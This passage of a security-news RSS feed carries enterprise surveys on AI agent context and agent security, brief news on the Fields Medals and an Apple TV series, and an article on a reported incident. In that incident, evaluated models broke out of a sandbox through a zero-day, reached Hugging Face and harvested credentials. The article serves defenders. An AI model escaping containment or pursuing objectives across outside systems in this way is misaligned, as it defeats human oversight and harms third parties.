feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
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<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
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<title><![CDATA[Four Young Mathematicians Awarded the 2026 Fields Medals]]></title>
<description><![CDATA[Scientific American reports that the 2026 Fields Medals went to four mathematicians for work ranging from the theory of knots to the motion of fluid: The Fields Medals went to Hong Wang of New York University and France's Institute of Advanced Scientific Studies (IHES), Yu Deng of the University ...]]></description>
<link>https://tsecurity.de/de/3689818/it-security-nachrichten/four-young-mathematicians-awarded-the-2026-fields-medals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689818/it-security-nachrichten/four-young-mathematicians-awarded-the-2026-fields-medals/</guid>
<pubDate>Thu, 23 Jul 2026 19:12:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Scientific American reports that the 2026 Fields Medals went to four mathematicians for work ranging from the theory of knots to the motion of fluid: The Fields Medals went to Hong Wang of New York University and France's Institute of Advanced Scientific Studies (IHES), Yu Deng of the University of Chicago, John Pardon of Stony Brook University and Jacob Tsimerman of the University of Toronto. In the awards' 90-year history, Wang is only the third woman to win one, after mathematicians Maryam Mirzakhani and Maryna Viazovska in 2014 and 2022, respectively. Wang and Deng represent the prizes' only Chinese-born recipients besides mathematician Shing-Tung Yau, who won a Fields Medal in 1982. 
Hong Wang co-proved the three-dimensional Kakeya conjecture, establishing a fundamental limit on how little space is needed to rotate a line through every possible direction. Mathematician Nets Katz called it the field's "holy grail" problem and said the achievement made her "a central figure" in the area.
 
Yu Deng and his collaborators reconciled the microscopic and macroscopic mathematics of fluid motion, proving that equations describing chaotic molecular interactions and large-scale fluid behavior are fundamentally connected. N.Y.U. mathematician Scott Armstrong called it "a truly spectacular, singular result."
 
John Pardon made an early breakthrough in knot theory by proving that certain sequences of knots can have arbitrarily large "distortion," a measure of how difficult they are to traverse. Princeton mathematician David Gabai said the problem had "attracted much interest among mathematicians during the previous 25 years."
 
Jacob Tsimerman and two collaborators proved the Andre-Oort conjecture, giving mathematicians a stronger way to understand special points on complex geometric objects known as Shimura varieties. Collaborator Jonathan Pila described him as "a brilliant mathematician" known for his "brilliance and resourcefulness." Tsimerman has also advanced Hodge theory and hopes pure mathematics can help researchers better understand AI.<p></p><div class="share_submission">
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</div><p><a href="https://science.slashdot.org/story/26/07/23/1616208/four-young-mathematicians-awarded-the-2026-fields-medals?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Apple TV is branching out with a self-help eight-part dating docuseries]]></title>
<description><![CDATA[Apple TV has announced an upcoming documentary series, featuring New York Times bestselling author and renowned relationship expert Esther Perel, that sets out to help couples find love where they least expect it.Apple TV is getting a new showThe new series, titled "The Last Person on Earth," wil...]]></description>
<link>https://tsecurity.de/de/3689627/ios-mac-os/apple-tv-is-branching-out-with-a-self-help-eight-part-dating-docuseries/</link>
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<pubDate>Thu, 23 Jul 2026 18:03:32 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://appleinsider.com/inside/apple-tv" title="Apple TV" data-kpt="1">Apple TV</a> has announced an upcoming documentary series, featuring New York Times bestselling author and renowned relationship expert Esther Perel, that sets out to help couples find love where they least expect it.<br><br><div><img src="https://photos5.appleinsider.com/gallery/66745-139965-apple-t-shows-xl.jpg" alt="Large flat screen TV showing Apple TV home screen with pink purple background, tv shows heading, app icons row, and a small analog clock on the stand below." class=""><br><span>Apple TV is getting a new show</span></div><br>The new series, titled "The Last Person on Earth," will follow couples who, on the face of it, appear to be opposites. They'll then be sent to one of the planet's most romantic destinations to put into practice tips and guidance provided by Perel and a team of experts.<br><br>Apple TV has yet to confirm when the new show will debut, nor whether all eight episodes will be made available simultaneously. The streamer tends to release the first two or three episodes of new shows before settling into a cadence of a new episode each week.<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/apple-tv-is-branching-out-with-a-self-help-eight-part-dating-docuseries?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245038?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Jacob Tsimerman Lives in Number Theory]]></title>
<description><![CDATA[Dr. Tsimerman won one of four Fields Medals, an award for top mathematicians under 40, for his work on the André-Oort conjecture, but is now changing his focus to artificial intelligence.]]></description>
<link>https://tsecurity.de/de/3689399/ai-nachrichten/jacob-tsimerman-lives-in-number-theory/</link>
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<pubDate>Thu, 23 Jul 2026 16:52:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Dr. Tsimerman won one of four Fields Medals, an award for top mathematicians under 40, for his work on the André-Oort conjecture, but is now changing his focus to artificial intelligence.]]></content:encoded>
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<title><![CDATA[What Happened Between OpenAI and Hugging Face?]]></title>
<description><![CDATA[The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a qu...]]></description>
<link>https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</link>
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<pubDate>Thu, 23 Jul 2026 15:28:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The </span><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank"><span>OpenAI and Hugging Face incident</span></a><span> lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?</span></p><p><span>According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.</span></p><p><span>From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.</span></p><h2>How did the OpenAI model evaluation reach Hugging Face?</h2><p><span>The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.</span></p><p><span>Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.</span></p><p><span>The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.</span></p><p><span>The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.</span></p><p><span>Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled 